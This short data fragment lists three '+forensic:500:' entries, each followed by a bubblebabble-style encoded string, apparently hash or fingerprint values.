+forensic:500:xisis-nicik-fucyx +forensic:500:xukal-vinah-lihox +forensic:500:xuceb-zevit-rinax